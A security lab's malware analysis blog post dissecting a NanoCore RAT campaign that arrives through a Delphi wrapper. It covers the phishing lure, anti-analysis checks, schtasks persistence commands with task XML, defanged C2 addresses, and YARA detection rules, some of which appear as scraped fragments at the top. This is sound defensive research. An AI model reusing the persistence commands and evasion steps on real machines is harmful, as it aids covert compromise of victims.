    	$s11 = {C1 0A CF 0A D9 0A E5}
    	$a12 = "UPX"
    	$a13 = {22 00 1A 03 00 2A A2}
    	$a14 = {55 06 3C 3C BA 4D E9 C6}
    	$a15 = {0B 58 A6 9E 88 BD 51 C1 22}
    	$a16 = {67 2A 21 57 23 3B 29}
   	$a17 = {F5 6F D7 CD 6D 28 1F 49}
    	$a18 = {66 FA A4 B5 78 F0 24 C3}
    	$a19 = {8E 82 07 8D 05 53 80 29}
    	$a20 = {9B 1C B7 E4 57 93 35 8F 7A}
    	$a21 = {47 8F 7E 4D 0B 24 8C 7D}
    $s1 and 4 of ($s*) or $s1 and 5 of ($a*)

This blog post was authored by Davide Testa, Luigi Martire and Luca Mella of Cybaze-Yoroi Z-LAB

Dissecting NanoCore Crimeware Attack Chain


Historically, cyber-criminals adopted one or more layers of encryption and obfuscation to lower their footprint and avoid detection. The usage of cryptors and packers has become a commodity in the contemporary malware landscape, providing the so called “FUD” (Fully UnDetectable) capabilities to malicious code and allowing the outsourcing of the payload hiding.

The CSDC monitoring operations spotted a particular sample of the famous Nanocore Remote Administrator Tools (RAT). In this specific case, a Delphi wrapper was used to protect the RAT. Thus, Cybaze-Yoroi ZLab decided to analyze this threat.

Technical Analysis

Nanocore RAT is a “general purpose” malware with specific client factories available to everyone and easily accessible. During our cyber-defense activities we discovered attack attempts against Italian companies operating in the Luxury sector. For instance, we intercepted malicious email claiming to come from a well known Italian Bank and then we started to analyze it.

Figure 1: Part of initial e-mail

The attachment looks like a 7z archive file containing a valid PE file with Adobe Acrobat icon. Trivial trick used to lure ingenuous users to believe that it is a legit PDF file. However, it contains a PE executable:

ThreatNanocore RAT wrapper
Brief DescriptionDelphi Language Wrapper for Nanocore RAT

Table 1: Static info about Nanocore dropper/NanoCore RAT

Then we extracted some static information on the sample:

Figure 2: Information about “trasferimento.exe” dropper/NanoCore RAT

The sample was compiled with “BobSoft Mini Delphi” compiler and two characteristics are significant: the first one is the high level of entropy, this leads us to think that the sample was somehow packed; the second one is the absolutely fake compilation timestamp of the executable.

Executing the malware, we notice the presence of some checks performed by the malware in order to evade analysis boxes.

Figure 3: Processes checked by malware

In the above figure, are shown some processes checked by the malware. This action is performed through the usage of the classical Win32 API calls “CreateToolhelp32Snapshot” and “Process32Next”.

Figure 4: API calls to check open tools

If no one of the checked processes is active, the malware can proceed with the real infection: it writes the real payload of Nanocore RAT in the “%TEMP%” folder.

Figure 5: NanoCore payload written by the loader and relative API calls

The interesting thing is the payload, that is further loaded into memory, is merely embedded inside a resource without any encryption or obfuscation.

Figure 6: Comparison between payload embedded in resource of “trasferimento.exe” sample and “non.exe” written in %TEMP% folder

As shown in the above figure, the “trasferimento.exe” Delphi wrapper has got a lot of embedded resources (as visible on the left), and one of them contains the entire Nanocore RAT payload. On the right, there is a diff analysis of the resource named “2035” and the actual payload triggered on the victim machine. The resource “2035” has a sort of header (highlighted in yellow, on the left upper corner), which contains the name of the payload to implant on the machine “non.exe”. The succeeding piece of code is identical, without any protection. The “trasferimento.exe” component runs a scheduled task in order to guarantee its persistence.

Figure 7: Task-scheduler set by malware

At this point the malware creates a xml file with a pseudo-random name containing the configuration for its persistence on the machine. After creating this file, the malware spawns the “non.exe” process and then re-spawn itself through the following command lines.

schtasks.exe" /create /f /tn "IMAP Subsystem" /xml "C:\Users\admin\AppData\Local\Temp\tmpC5A7.tmp"schtasks.exe" /create /f /tn "IMAP Subsystem" /xml "C:\Users\admin\AppData\Local\Temp\tmpCB59.tmp"

The body of the xml configuration file is the following:

<?xml version="1.0" encoding="UTF-16"?><Task version="1.2" xmlns="">  <RegistrationInfo />  <Triggers />  <Principals>    <Principal id="Author">      <LogonType>InteractiveToken</LogonType>      <RunLevel>HighestAvailable</RunLevel>    </Principal>  </Principals>  <Settings>    <MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>    <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>    <AllowHardTerminate>true</AllowHardTerminate>    <StartWhenAvailable>false</StartWhenAvailable>    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>    <IdleSettings>      <StopOnIdleEnd>false</StopOnIdleEnd>      <RestartOnIdle>false</RestartOnIdle>    </IdleSettings>    <AllowStartOnDemand>true</AllowStartOnDemand>    <Enabled>true</Enabled>    <Hidden>false</Hidden>    <RunOnlyIfIdle>false</RunOnlyIfIdle>    <WakeToRun>false</WakeToRun>    <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>    <Priority>4</Priority>  </Settings>  <Actions Context="Author">    <Exec>      <Command>"C:\Users\admin\Desktop\trasferimento.exe"</Command>      <Arguments>$(Arg0)</Arguments>    </Exec>  </Actions></Task>

The difference between the two scheduled tasks is the fact that one references “trasferimento.exe” process and the other one references “non.exe” process. It seems to be a sort of a survival mechanism in which both the processes work and keep the infection alive.

Figure 8: Details about set task scheduler

These two processes contact two different C2s. During the analysis one of them (185.244.31.[50)  was down and the other one (79.134.225[.41) continues to work.

Figure 9: Communication with two different C2

NanoCore Client

ThreatNanocore RAT
Brief DescriptionNanoCore RAT client

Table 2: Information about “non.exe” NanoCore RAT

At this point, let’s start to analyze the “non.exe” file which is the Nanocore RAT Client, even this one is compiled in .NET language.

Figure 10: Other information about “non.exe” NanoCore RAT and relative compiled language

The de-compiled code is quite obfuscated and encrypted with some custom routines.

Figure 11: Version of NanoCore Client

The real nature of the payload is revealed after few steps of debugging, we extracted also the current version:, as highlighted in the red square. Going ahead with debugging, we found  a recurrent routine used to decrypt RAT's static strings and the malware configuration too:

Figure 12: Decryption routine to extract the configuration file

Like other crimeware, also this one leverages encrypted configuration only decrypted during the malware execution. Interestingly, the extracted configuration does not include persistence, which is however guaranteed by the scheduled task handled by the external wrapper.

Figure 13: Configuration information of the RAT client

As we can see from the above figure, this client has some interesting enabled features, like the capability to bypass the UAC control, or prevent the system to go to sleep. Moreover, the primary and backup C2 are the same and the solution of the backup C2 is guaranteed through the other “trasferimento.exe” RAT mode process.


Nowadays a lot of cyber criminals don’t strive to write malware from scratch because there already are a vastity of public tools suitable for this need. From the attacker point of view, the problem about the usage of these tools is the fact they sooner or later will be recognized by the Anti-Virus engines.

Therefore, attackers adopt other technologies like packers and obfuscators, many time publicly available too, or write down custom loaders to hide their espionage tools, keeping them running into victim machines for a long time, silently observing their targets and awaiting the right time to act their criminal plans.

Indicators of Compromise

Yara Rule

import "pe"
rule Delphi_Loader_NanoCoreRAT {
    	description = "Yara Rule for Delphi Loader and embedded NanoCore RAT"
    	author = "Cybaze - Yoroi ZLab"
    	last_updated = "2019-06-12"
    	tlp = "white"
    	category = "informational"
$s1 = "IE(AL(\"%s\",4),\"AL(\\\"%0:s\\\",3)\",\"JK(\\\"%1:s\\\",\\\"%0:s\\\")\")"
$a1 = "#=qP05CRmbt2pJg10eRU50wu1vx$mfteEn$pCn9SEbehP8="
    	$a2 = "NanoCore"
    	$a3 = {69 73 34 31 74 49 58 4D}
    	$b1 = "<*t\"<0r=<9w9i"

pe.number_of_resources == 73 and $s1 or 1 of ($a*) and $b1

This blog post was authored by Davide Testa, Luigi Martire and Antonio Pirozzi of Cybaze-Yoroi Z-LAB